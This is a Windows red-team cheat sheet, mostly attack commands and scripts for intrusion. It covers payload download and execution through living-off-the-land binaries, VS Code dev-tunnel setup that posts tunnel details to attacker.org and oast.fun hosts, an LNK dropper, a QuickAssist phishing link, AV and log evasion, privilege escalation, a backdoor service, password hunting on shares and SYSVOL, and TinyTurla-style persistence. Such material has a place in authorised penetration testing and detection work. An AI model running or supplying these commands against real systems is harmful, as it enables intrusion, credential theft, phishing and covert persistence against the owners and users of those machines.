https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb
C:\Windows\System32\dsquery.exe
dsquery subnet -limit 0
dsquery computer -limit 0
dsquery user -limit 0
dsquery group -limit 0
dsquery * -filter "(objectClass=trustedDomain)" -attr *
dsquery group -name "Domain Admins"
dsquery group -name *admin* -d 192.168.88.195
dsquery * -filter “( & (objectclass=group)(name=*admin*))” -attr name samaccountname -d 192.168.88.195
dsquery * -filter “( & (objectclass=group)(samaccountname=Domain Admins))” -attr name samaccountname member -d 192.168.88.195
# name and SAm of all windows machines
dsquery * -filter “( & (objectclass=computer)(name=*win*))” -attr name samaccountname -d 192.168.2.1
# admin groups 2.1 is the DC
dsquery group -name *admin* -d 192.168.2.1
dsquery * -filter “( & (objectclass=group)(name=*admin*))” -attr name samaccountname -d 192.168.2.1
dsquery * -filter “( & (objectclass=group)(samaccountname=Domain Admins))” -attr name samaccountname member -d 192.168.2.1
Portquery.exe - Server - Check remote port status
portqry -local
portqry -local -l [Logfile Name] -v
portqry -n [ @ IP] -e [PortToQuery]
Portquery.exe - Server - Script to check ports for list of IPs
@echo off
setlocal EnableDelayedExpansion
set " outputFile = portqry_results.txt"
set " portList = 22,80,139,443,445,3389,389,8080"
:: Clear the output file
break > " %outputFile% "
for /f %%i in (iplist.txt) do (
for %%p in (%portList%) do (
echo Checking IP %%i on port %%p
portqry -n %%i -e %%p >> " %outputFile% "
echo . >> " %outputFile% "
)
)
echo Results have been saved to %outputFile%
Downloading / Transfering Files
Certutil.exe - Transfer
certutil.exe -urlfetch -verify http://malicious.com/malware.exe " %AppData% \malware.exe"
certreq.exe - Transfer
certreq.exe -urlfetch -verify http://malicious.com/malware.exe " %AppData% \malware.exe"
bitsadmin.exe - Transfer, Execute as Jobs
bitsadmin.exe /transfer myjob /download /priority normal http://malicious.com/malware.exe " %AppData% \malware.exe"
# Flagged as BITS Abuse copying CMD ouyt of System32
bitsadmin /create 1 & bitsadmin /addfile 1 c:\windows\system32\cmd.exe c:\Temp32\cmd.exe & bitsadmin /SetNotifyCmdLine 1 c:\Temp32\cmd.exe NULL & bitsadmin /RESUME 1 & bitsadmin /Reset
# Remote download File
bitsadmin /create 2 & bitsadmin /addfile 2 https://live.sysinternals.com/autoruns.exe c:\Temp32\autoruns.exe & bitsadmin /SetNotifyCmdLine 2 c:\Temp32\autoruns.exe NULL & bitsadmin /RESUME 2 & bitsadmin /Reset
bitsadmin.exe - Download, expand archive, open document
$path = "%USERPROFILE%\AppData\Local\joboffer.zip" ; bitsadmin.exe / transfer "DirectXUpdate" https: // recruiting.azurewebsites.net / careers / joboffer.zip $path; expand-archive $path; start-process offer.docx;
ConfigSecurityPolicy.exe https://example.com/payload
Expand.exe - Download into ADS
expand.exe \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
robocopy.exe - Transfer
robocopy \\malicious-server\share " %AppData% " malware.exe
xcopy.exe - Transfer
xcopy \\malicious-server\share\malware.exe " %AppData% "
regsvr.exe - Transfer, can also execute
regsvr32 /s /n /u /i:http://malicious.com/malware.sct " %AppData% \scrobj.dll"
schtasks.exe - Transfer and Schedule Run
schtasks /create /tn "MaliciousTask" /tr "bitsadmin.exe /transfer myjob /download /priority normal http://malicious.com/malware.exe %AppData% \malware.exe" /sc once /st 00:00 /ru SYSTEM
schtasks /run /tn "ChromeUpdater"
iexpress.exe /N /Q /C "malicious.bat" /M "malicious.sed"
wusa.exe C:\path\to\malicious.cab /extract:C:\Temp
reg.exe - Stash in the registry
reg add HKCU\Software\EncodedData /v Payload /t REG_SZ /d "BASE64_ENCODED_DATA"
reg query HKCU\Software\EncodedData /v Payload
# Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
extrac32 C:\ADS\procexp.cab c:\ADS\file.txt:procexp.exe
# Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
extrac32 \\webdavserver\webdav\file.cab c:\ADS\file.txt:file.exe
# Copy the source file to the destination file and overwrite it
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt
findstr.exe - ADS trick to copy exe into file, share and Search SYSVOL remotely
# To Disk -Searches for the string GoatsnakeReissuez, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
findstr /V /L GoatsnakeReissuez c:\ADS\file.exe > c:\ADS\file.txt:file.exe
# To Share - Searches for the string GoatsnakeReissuez, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
findstr /V /L GoatsnakeReissuez \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
# Search Share - Search for stored password in Group Policy files stored on SYSVOL.
findstr /S /I cpassword \\ < FQDN > \sysvol\ < FQDN > \policies\*.xml
RMM - Remote Management, Dev Tunnel and Monitoring Software
Tricks for using and abusing remote managemtn tools.
Dev Tunnel - Code.exe - Download and Create Tunnel, POST needed information to establish connection to attacker controller server/function
@echo off
set TEMPDIR =% APPDATA % \Microsoft\VSC
mkdir "%TEMPDIR%"
cd "%TEMPDIR%"
curl.exe - o vscode.zip https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip
tar - xf vscode.zip
del vscode.zip
.\code.exe tunnel user logout
timeout /t 3
.\code.exe tunnel -- accept - server - license - terms -- name fudgetunnel > output.txt
timeout /t 3
setlocal enabledelayedexpansion
set "output="
for /f "delims=" %% a in (output.txt) do set "output=!output! %%a"
set "output=!output:~1!"
call :sendRequest
goto :eof
:sendRequest
curl.exe - X POST - H "X-Hook-Token: straylightsecurity" - H "Content-Type: application/json" -- data - raw "{""sysinfo"":""%output%""}" https://serverless.attacker.org/logger
goto :eof
Dev Tunnel - Code.exe - VS Code CLI Expand from Share
cmd /Q /V /c "set TEMPDIR=%APPDATA%\Microsoft\VSC && set IP=10.0.0.10 && mkdir " % TEMPDIR % " && cd /d " % TEMPDIR % " && expand \\%IP%\share\code.cab && .\code.exe tunnel user logout && timeout /t 3 && .\code.exe tunnel --accept-server-license-terms --name fudge > output.txt && timeout /t 3 && for /f " delims = " %a in (output.txt) do set output=!output! %a && curl.exe -X POST -H " Content - Type: application /json " --data-raw " { "" devtunnel "" : "" ! output ! "" } " https://serverless.attacker.org/logger"
RMM - QuickAssist / TeamViewer UAC Prompts
QuickAssist has the same problem as TeamViewer with UAC prompts being hidden by black screen. This is a workaround to use RunAs.
QuickAssist admins can natively authenticate using Live and EntraID accounts, local AD is not supported. You have to log in with a cloud account and elevate to domain or local admin from a RunAs shell. TeamViewer will let you use local accounts, like local admin users to log in, but you may run into the local user not allowed for remote logon error. This too can be handled by signing in with a cloud account and using runas.
QuickAssist - Elevate Shell - RunAs Local, AD or AzureAD Admin User
runas /user:Administrator cmd.exe
runas /user:DOMAIN\Administrator cmd.exe
runas /user:AzureAD\Administrator cmd.exe
QuickAssist - Disable SecPol - Disable Blackscreen UAC Prompts for the session
secpol.msc
1 . Browse Security Settings - Local Policies - Security Options - User Account Control: Switch to the secure desktop
2 . Disable it
3 . Do your admin work
4 . before you exit the session , make sure the above security setting is set to 'Enable'
QuickAssist - Invoke-QuickAssist - Install and Start If Quick Assist is missing / If a user is stuck in OOBE during Autopilot
Source: https://mrshannon.wordpress.com/2022/07/06/screen-share-from-oobe-with-quick-assist/
Script: https://www.powershellgallery.com/packages/Invoke-QuickAssist/1.0.5/Content/Invoke-QuickAssist.ps1
# Shift + f10 if in OOBE, powerhell if you the hackarmanz today
powershell - ep bypass Install-Script - Name Invoke-QuickAssist - Force
Invoke-QuickAssist.ps1
QuickAssist - URI Handler for Phishing Emails
< a href = "ms-quick-assist://" >Click Here for Help with your Document</ a >
Use your customer code < b >< u >12345678</ u ></ b > to connect with a live support agent ready to assist you.
Virtualization
If you’re admin on a managed device, you may be better off to install virtualization software and use that to stay out of the windows logs and bypass the AV. WSL isn’t the blindspot it used to be against Defender but QEMU portable is a good option that does not require an install.
WSL - Install - Usually Requires Reboot
dism.exe /online /enable-feature /featurename:VirtualMachinePlatform
dism.exe /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux
wsl --install
wmic os where Primary='TRUE' reboot
WSL - Remove
wsl --unregister ubuntu
dism.exe /online /disable-feature /featurename:VirtualMachinePlatform
dism.exe /online /disable-feature /featurename:Microsoft-Windows-Subsystem-Linux
QEMU - QEMU Portable Emulator/Virtualizer
Portable virtualization and full system emulation tool.
Download QEMU zip with an iso, create a disk and start.
# Download QEMU
iwr https: // github.com / MelloSec / RepeatOffender / raw / main / Tools / qemu.zip - o qemu.zip; Expand-Archive qemu.zip; cd qemu;
# Parrot ISO
# iwr https://deb.parrot.sh/parrot/iso/5.3/Parrot-security-5.3_amd64.iso -o parrot.iso
# Kali Live Boot
# iwr https://cdimage.kali.org/kali-2023.4/kali-linux-2023.4-live-amd64.iso -o kali.iso
# Kali QEMU Prebuilt VM
# iwr https://cdimage.kali.org/kali-weekly/kali-linux-2024-W01-qemu-amd64.7z -o kali.7z
# Ubuntu
iwr https: // releases.ubuntu.com / focal / ubuntu - 20.04 . 6 - live - server - amd64.iso - o ubuntu.iso
# Start the GUI
# .\QemuManager.exe
# Create the disk for the VM
.\qemu\ qemu-img.exe create -f qcow2 myvm.qcow2 20G
# Start VM with Iso
.\qemu\ qemu-system-x86_64.exe - hda myvm.qcow2 - cdrom ubuntu.iso - boot d - m 2024
# .\qemu\qemu-system-x86_64.exe -hda myvm.qcow2 -cdrom parrot.iso -boot d -m 2024
Execution
settingsynchost.exe - execute - bat/arbritray background execution from %TEMP%
Compile an exe ‘settingsynchost.exe’ and mv it into %TEMP% then exec SettingsSyncHost.exe from system32
mv malware.exe settingsynchost.exe
mv .\settingsynchost.exe %TEMP%
C:\Windows\System32\SettingSyncHost.exe -LoadAndRunDiagScriptNoCab DoesntMatter
RegSvr
regsvr32 /s /n /u /i:http://malicious.com/malware.sct scrobj.dll
RegAsm
regasm.exe /U /codebase /nologo /silent /s "C:\Path\To\MaliciousAssembly.dll"
Installutil.exe - Basic Execution and Download to Cache
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe https://example.com/payload
CertOC.exe - DOWNLOAD / EXECUTE DLL
certoc.exe -GetCACAPS https://server.com/payload.dll
certoc.exe -LoadDLL payload.dll
Hh.exe - HTML Help - DOWNLOAD / EXECUTE
HH.exe http://some.url/payload.exe
HH.exe payload.exe
HH.exe c:\windows\system32\calc.exe
Control.exe
Execute evil.dll which is stored in an Alternate Data Stream (ADS) or CPL item called Microsoft.FolderOptions
control.exe c:\windows\tasks\file.txt:evil.dll
control.exe /name Microsoft.FolderOptions
ODBConf.exe - Load DLL as .rsp / maybe drivers
c:\windows\system32\odbcconf.exe -f file.rsp
forfiles - exec payload.exe since there is a match for notepad.exe in the c:\windows\System32 folder.
forfiles.exe /p c:\windows\system32 /m notepad.exe /c .\payload.exe
forfiles - run file in path
forfiles.exe /p c:\windows\system32 /m calc.exe /c cmd.exe
ForFiles
cmd /c forfiles /p c:\windows\system32 /m notepad.exe /c "$pwd\AIQ_pid_binary.exe"
Rundll32 - Execute
rundll32.exe malicious.dll,EntryPoint
rundll32.exe javascript: "\..\mshtml,RunHTMLApplication" ;
# Could execute javascript from a RunKey in the reg
Csript and Wscript - Execute
cscript malicious.vbs
wscript malicious.vbs
SchTask - Download and Run Local and Create Remote Task
# Local
schtasks /create /tn "MaliciousTask" /tr "bitsadmin.exe /transfer myjob /download /priority normal http://malicious.com/malware.exe %AppData% \malware.exe" /sc once /st 00:00 /ru SYSTEM
schtasks /run /tn "ChromeUpdater"
SchTask - Create Task on Remote Computer
schtasks /create /s RemoteComputerName /tn "RemoteTask" /tr "C:\Path\To\Script.bat" /sc daily /st 08:00
netsh - Open Firewall and Execute Script File
netsh.exe advfirewall firewall add rule name= "Malicious Rule" dir=in action=allow program= "C:\Windows\System32\netsh.exe" enable=yes
netsh.exe -c "exec malware.txt"
Atbroker.exe
ATBroker.exe /start $name
cmdkey.exe
cmdkey.exe /list
Esentutl.exe
esentutl.exe /y helloworld.exe /d $env:temp\$name /o
winword.exe - load dll
winword.exe /l dllfile.dll
powershell - Download & Execute a DLL as a CPL file w/ docx decoy
powershell - WindowStyle Hidden Invoke-WebRequest - Uri “http://192.168.0.122:8000/invoice.docx" - OutFile “ $ env: USERPROFILE \Downloads\invoice.docx” ; Invoke-Item “ $ env: USERPROFILE \Downloads\invoice.docx” ; Invoke-WebRequest - Uri “http://192.168.0.122:8000/invoice.cpl" - OutFile $ env: USERPROFILE\Documents\invoice.cpl; Start-Process control.exe - FilePath $ env: USERPROFILE\Documents\invoice.cpl
CONHOST - Indirect Execution
conhost ipconfig > ipconfig.txt
conhost whoami > whoami.txt
wt.exe - Indirect Execution
wt.exe calc.exe
CustomShellHost.exe - (Kiosk mode app)
we need to search $path for *.exe and rename that to explorer.exe
move to/copy lolbin so that they are in the same folder and run CustomShellHost.exe. It will run explorer.exe
DNSAdmin / DNSCMD.exe - Remotely inject DLL on a DC by making dll a plug in for the DNS service
dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
TTDInject.exe - Admin required and logged
Tttracer.exe creates a .pcap file in system32, and under the hood it seems it uses TTDInject.exe.
TTDInject.exe /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /Launch "C:/Windows/System32/calc.exe"
ttdinject.exe /ClientScenario TTDRecorder /ddload 0 /ClientParams "7 tmp.run 0 0 0 0 0 0 0 0 0 0" /launch "C:/Windows/System32/calc.exe"
Living Off the Land Scripts
CL_loadassembly.ps1 - lolscript - Proxy Execution wit signed PS script
powershell.exe - ep bypass - command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Main()"
CL_MutexVerifiers.ps1 - lolscript - Import and execute by calling runAfterCancelProcess runme.ps1
Ref: https://twitter.com/pabraeken/status/995111125447577600
Path: C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
Path: C:\Windows\diagnostics\system\Audio\CL_Mutexverifiers.ps1
Path: C:\Windows\diagnostics\system\WindowsUpdate\CL_Mutexverifiers.ps1
Path: C:\Windows\diagnostics\system\Video\CL_Mutexverifiers.ps1
Path: C:\Windows\diagnostics\system\Speech\CL_Mutexverifiers.ps1
. C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess calc.ps1
winrm.vbs - Lateral Movement / Proxied Command Execution
winrm invoke Create wmicimv2/Win32_Process @ {CommandLine= "notepad.exe" } -r:http://target:5985
winrm invoke Create wmicimv2/Win32_Service @ {Name= "Evil" ;DisplayName= "Evil" ;PathName= "cmd.exe /k c:\windows\system32\notepad.exe" } -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle= 4 -format:pretty
Cscript/WinRM.vbs - Lateral Movement Command and Service
cscript.exe //nologo %windir%\System32\winrm.vbs invoke Create wmicimv2/Win32_Process @ {CommandLine= "notepad.exe" } -r:http://192.168.0.122:5985
cscript.exe //nologo %windir%\System32\winrm.vbs invoke Create wmicimv2/Win32_Service @ {Name= "Evil" ;DisplayName= "Evil" ;PathName= "cmd.exe /k c:\windows\system32\notepad.exe" } -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
CScript/Winrm.vbs - AWL Bypass
Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe
cp evil.xsl %SystemDrive%\BypassDir\WsmPty.xsl
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle= 4 -format:pretty
Privelege Escalation Techniques
PrivEscCheck - Load In Memory and Run Extended Checks
# Extended Checks to the Console
powershell - ep bypass - c "Invoke-Expression (iwr -UseBasicParsing https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1).Content; Invoke-PrivescCheck -Extended"
# All In One with Output Files
powershell - ep bypass - c "Invoke-Expression (iwr -UseBasicParsing https://raw.githubusercontent.com/itm4n/PrivescCheck/master/PrivescCheck.ps1).Content; Invoke-PrivescCheck -Extended -Report PrivescCheck_ $( $ env: COMPUTERNAME ) -Format TXT,CSV,HTML,XML"
Services - wmic - Look for unqouted service paths
wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" | findstr /i /v """
Services - powershell - Look for unqouted service paths
Get-WmiObject - class Win32_Service - Property Name , DisplayName , PathName , StartMode | Where { $_ .PathName -notlike "C:\Windows*" -and $_ .PathName -notlike '"*' } | select Name , DisplayName , StartMode , PathName
Servcies - Permissions
The permissions we are looking for on the folder are any one of the following three permissions:
(F) Full Control
(M) Modify
(W) Write
The user / group permissions we are looking for are the following:
# The user we are currently logged in as (%USERNAME%)
Authenticated Users
Everyone
BUILTIN\Users
NT AUTHORITY\INTERACTIVE
Look for folders with unquoted service paths that we or groups we're in can M, F or W
icacls.exe - cmd - Check Permissions
icacls C:\
icacls "C:\Program Files"
icacls "C:\Program Files\Jankins"
get-acl - powershell - check folder permissions
Get-Acl - Path C:\ | Format-List
Get-Acl - Path "C:\Program Files" | Format-List
Get-Acl - Path "C:\Program Files\Jankins" | Format-List
accesscheck.exe - cmd
.\accesschk64.exe -wvud "C:\" -accepteula
.\accesschk64.exe -wvud "C:\Program Files" -accepteula
.\accesschk64.exe -wvud "C:\Program Files\Jankins" -accepteula
Windows Exploit Suggester - NG
git clone https://github.com/bitsadmin/wesng.git --depth 1
systeminfo.exe > systeminfo.txt
# Update
wes.py --update
# Only criticals, color
wes.py systeminfo.txt -c -s critical;
# Only vulns w/ exploits, color
wes.py systeminfo.txt -e -c
qwinsta
klist sessions
Useful Tricks and Combo-breakers
RPCPing.exe - Send Password Hash Back to rpcserver.py
# Send a RPC test connection to the target server (-s) sending the password hash in the process.
rpcping -s 127.0.0.1 -t ncacn_np
# Send a RPC test connection to the target server (-s) sending the password hash in the process.
rpcping -s 192.168.1.10 -ncacn_np
# Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
AcroRdr32 - Replace component Exe for Proxy Execution when starting Acrobat
Hijack RdrCEF.exe with a payload executable to launch when opening Adobe
cp malware.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe"
FileHistory.exe - ADM Injection, create config pointing to uevmonitor.dll, copy FileHistory and execute
Need a user writable directory, and can bring your own FileHistory rather than copy out of System32
cd "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF"
notepad filehistory.exe.config
curl.exe -o uevmonitor.dll https://attacker.azurewebsites.net/assets/uevmonitor
# curl.exe -o FileHistory.exe https://attacker.azurewebsites.net/assets/filehistory
cp C:\windows\system32\filehistory.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\FileHistory.exe"
.\FileHistory.exe
PSR.exe - Start invisilb escreen capture without a GUI on target
C:\Windows\System32\psr.exe /start /output C:test.zip /sc 1 /gui 0
# Stop
C:\Windows\System32\psr.exe /stop
sc.exe / sdset - ESCALATE / PERSISTENT BACKDOOR
ACE = D:(A;<ace_flags>;KA;<object_guid>;<inherit_object_guid>;WD)
D: Discretionary ACL no <ace_flags> set
A; Access Allowed
KA; Key_ALL_ACCESS no or
WD = ‘Everyone’ Security Principal (AU = Auth Users, BA = Built-in Admins, etc)
Elevated - Grant everyone all permissions on the control manager
sc.exe - sdset to grant SYSTEM to all users w/ manager
sc.exe sdset scmanager D:(A;;KA;;;WD)
# Switch User
Switch to 'lowpriv' backdoor user
# Create service as user "lowpriv"
cmd.exe sc create DirectXDiagnostics displayName= "DirectXDiagnostics" binPath= "C:\Windows\System32\net.exe localgroup Administrators lowpriv /add" start= auto
# Check status
sc query DirectXDiagnostics
BGInfo.exe - Sysinternals - Create new custom field to run VBSScript or WMI queries, etc
.\bginfo.exe
C:\ProgramData\chocolatey\lib\sysinternals\tools\Bginfo.exe
Code.exe - Dev Tunnel - Reverse Powershell Session over MS Infra
& "C:\Program Files\Microsoft VS Code\Code.exe" tunnel -- accept - server - license - terms -- name "tunnel-name"
# Download portable VS Cli
iwr https: // code.visualstudio.com / sha / download?build = stable & os = cli - win32 - x64 - o code.zip
expand-archive .\code.zip
# Redirect stdout to file
Start-Process - FilePath .\ code.exe - ArgumentList "tunnel --name FudgeTunnel" - RedirectStandardOutput .\output.txt
# Logout of tunnel
.\ code.exe tunnel user logout
Code.exe - Dev tunnel - Full Chain w/ LNK prep
Could try c:\Windows\Temp directory and specify —cli-data-dir for AWL bypass
#Payload
$EXEPath = " $ env: windir \System32\WindowsPowerShell\v1.0\powershell.exe"
$pay = 'mkdir c:\Temp && cd C:\temp; iwr -uri https://az764295.vo.msecnd.net/stable/97dec172d3256f8ca4bfb2143f3f76b503ca0534/vscode_cli_win32_x64_cli.zip -OutFile vscode.zip; Expand-Archive vscode.zip; cd vscode; .\code.exe tunnel user logout; Start-Sleep 3; Start-Process -FilePath .\code.exe -ArgumentList "tunnel","--name","fudgetunnel" -RedirectStandardOutput .\output.txt; Start-Sleep 3; iwr -uri cf9dk1w2vtc0000vhr10g8ws3ohyyyyyb.oast.fun -Method Post -Body (Get-Content .\output.txt)'
$arguments = " -nop -c $pay "
#lnk file
$LNKName = 123
$obj = New-Object - ComObject WScript.Shell
$link = $obj.CreateShortcut(( Get-Location ).Path + "\" + $LNKName + ".lnk" )
$link.WindowStyle = '7'
$link.TargetPath = $EXEPath
$link.IconLocation = "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe,13"
$link.Arguments = $arguments
$link.Save()
Teams / Update.exe - Download and AWL Bypass via NuGet Packages in RELEASE file
# download
%localappdata%\Microsoft\Teams\update.exe --download https://github.com/attacker/RELEASE
# update web, share and rollback from share
%localappdata%\Microsoft\Teams\update.exe --update https://github.com/attacker/RELEASE
%localappdata%\Microsoft\Teams\update.exe --update=\\remoteserver\payloadFolder
%localappdata%\Microsoft\Teams\update.exe --updateRollback=\\remoteserver\payloadFolder
# Exec - Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command
Update.exe --processStart payload.exe --process-start-args "whatever args"
Teams / Update.exe - Persistence
Copy your payload into “%localappdata%\Microsoft\Teams\current”. Then run the command. Update.exe will create a payload.exe shortcut in “%appdata%\Microsoft\Windows\Start Menu\Programs\Startup”. Then payload will run on every login of the user who runs it.
%localappdata%\Microsoft\Teams\update.exe --createShortcut=payload.exe -l=Startup
%localappdata%\Microsoft\Teams\update.exe --removeShortcut=payload.exe -l=Startup
Expand/InstallUtil - Place installer/payload dlls in CAB on SMB share, Expand and Background Execute Payload DLL with Installer dll using Uninstall option, no logging
expand \\192.168.0.122\corporate\newpdf.cab -F:* . && set URL = "http://attacker.azurewebsites.net:8080" && set DLL = ".\newpdf.dll" && start /B cmd /c "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe /logfile= /u /dll= %DLL% /url= %URL% .\installer.dll >nul 2>&1"
# Mark them hidden until you're done
attrib +h newpdf.dll && attrib +h installer.dll
# kill installutil to delete the files
taskkill /IM installutil.exe /F
Kiosks, Application Escape and Breakout
Getting a shell
Shortcut:
[Window] + [R] -> cmd
[CTRL] + [SHIFT] + [ESC] -> Task Manager
[CTRL] + [ALT] + [DELETE] -> Task Manager
Access through file browser: Browsing to the folder containing the binary (i.e. C:\windows\system32), we can simply right click and open it
Drag-and-drop: dragging and dropping any file onto the cmd.exe
Hyperlink : file:///c:/Windows/System32/cmd.exe
Task Manager : File > New Task (Run…) > cmd
MSPAINT.exe:
Open MSPaint.exe and set the canvas size to: Width=6 and Height=1 pixels
Zoom in to make the following tasks easier
Using the colour picker, set pixels values to (from left to right):
1st: R: 10, G: 0, B: 0
2nd: R: 13, G: 10, B: 13
3rd: R: 100, G: 109, B: 99
4th: R: 120, G: 101, B: 46
5th: R: 0, G: 0, B: 101
6th: R: 0, G: 0, B: 0
Save it as 24-bit Bitmap (.bmp;.dib)
Change its extension from bmp to bat and run
Sticky Keys:
Spawn the sticky keys dialog
Via Shell URI: shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}
Hit 5 times [SHIFT]
Visit “Ease of Access Center”
You land on “Setup Sticky Keys: , move up a level on “Ease of Access Center”
Start the OSK (On-Screen-Keyboard)
You can now use the keyboard shortcut (CTRL+N)
Dialog Boxes
Post-Exploitation - Sadrat Beacon
Cmdkey, Check WDigest and Cached Cred count
shell cmdkey /list
shell reg query HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential
shell reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
Search for Passwords locally and in Sysvol
shell set DOMAIN = "domain.com"
shell cd "C:\"
shell findstr /snip password *.xml *.ini *.txt *.xls *.xlsx *.docx *.pdf
shell findstr /snip password *
shell dir /s *password* == *cred* == *.config* == *key*
shell findstr /S /I cpassword \\%DOMAIN%\sysvol\%DOMAIN%\policies\*.xml
Prepare Script - Find Open Shares, make a list of them and search for passwords
@echo off
for /F "tokens=*" %%a in (found_shares.txt) do (
C:
NET USE Z: /delete /y
net use z: “ %%a ”
Z:
echo %%a
echo %%a >> "C:\Temp\output_file.txt"
if exist z:\ ( findstr /snip password * >> "C:\Temp\output_file.txt" )
)
…
download sharing.bat
shell sharing.bat
Establish devtunnel
# download Code.exe from Teamserver
download Code.exe
shell Code.exe tunnel --accept-server-license-terms --name "tunnel-name"
# Logout of tunnel
shell Code.exe tunnel user logout
Download and Execute supersharpshares as settingsynchost - Blocked by MDE now Q1/2024
download sssh.exe
shell move sssh.exe settingsynchost.exe
shell move settingsynchost.exe %TEMP%
shell "C:\Windows\System32\SettingSyncHost.exe -LoadAndRunDiagScriptNoCab DoesntMatter"
nltest - cosplay a ransomware operator
# get user info
shell set USER = %USERNAME% && nltest /user:%USER%
# get DCs
shell nltest /dclist:%DOMAIN%
dsquery
https://posts.specterops.io/an-introduction-to-manual-active-directory-querying-with-dsquery-and-ldapsearch-84943c13d7eb
# package dsquery.exe and dsquery.dll into .cab
download ds.cab
shell expand ds.cab -F:* .
shell dsquery.exe
# find all users, groups, OUs, Computers, Servers
shell dsquery user
shell dsquery group
shell dsquery ou
shell dsquery computer
shell dsquery server
# name and SAm of all windows machines
shell dsquery * -filter “( & (objectclass=computer)(name=*win*))” -attr name samaccountname -d 192.168.2.1
# admin groups 2.1 is the DC
shell "dsquery group -name *admin* -d 192.168.2.1"
shell "dsquery * -filter “(&(objectclass=group)(name=*admin*))” -attr name samaccountname -d 192.168.2.1"
shell "dsquery * -filter “(&(objectclass=group)(samaccountname=Domain Admins))” -attr name samaccountname member -d 192.168.2.1"
PortQuery
download portqry.exe
shell portqry -n %IP% -e 3389
mv ldp.exe pdl.exe
...
download pdl.exe
shell pdl.exe
ADExplorer Snapshot - Requires GUI Access
Snapshot parser:
# Download to teamserver
# curl https://download.sysinternals.com/files/AdExplorer.zip -o adexplorer.zip && unzip adexplorer.zip
cp ~/laughriot/yololbins/AdExplorer64.exe adexplorer.exe
mv adexplorer.exe skype4all.exe
...
# download through the implant, open GUI, take snapshot
download skype4all.exe
shell skype4all.exe
upload snapshot.dat
...
# parse it as Bloodhound output
python ADExplorerSnapshot.py -m Bloodhound snapshot.dat
ShareEnum - Sysinternals GUI Sharefinder
# download to Teamserver
curl https://download.sysinternals.com/files/ShareEnum.zip -o shares.zip && unzip shares.zip
mv ShareEnum.exe sen.exe
...
download sen.exe
shell sen.exe
QEMU - Setup a VM Beachhead
cp ~/laughriot/yololgins/qemu.cab .
download qemu.cab
shell
Persistence
SVCHost - TinyTurla Style Persistence
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v sysman /t REG_MULTI_SZ /d "sdm" /f
reg add "HKLM\SYSTEM\CurrentControlSet\services\sdm\Parameters" /v ServiceDll /t REG_EXPAND_SZ /d "%systemroot%\system32\dcmd.dll" /f
sc create sdm binPath = "c:\windows\system32\svchost.exe -k sysman" type = share start = auto
sc config sdm DisplayName = "System Device Manager"
sc description sdm "Creates and manages system-mode driver processes. This service cannot be stopped."
sc start sdm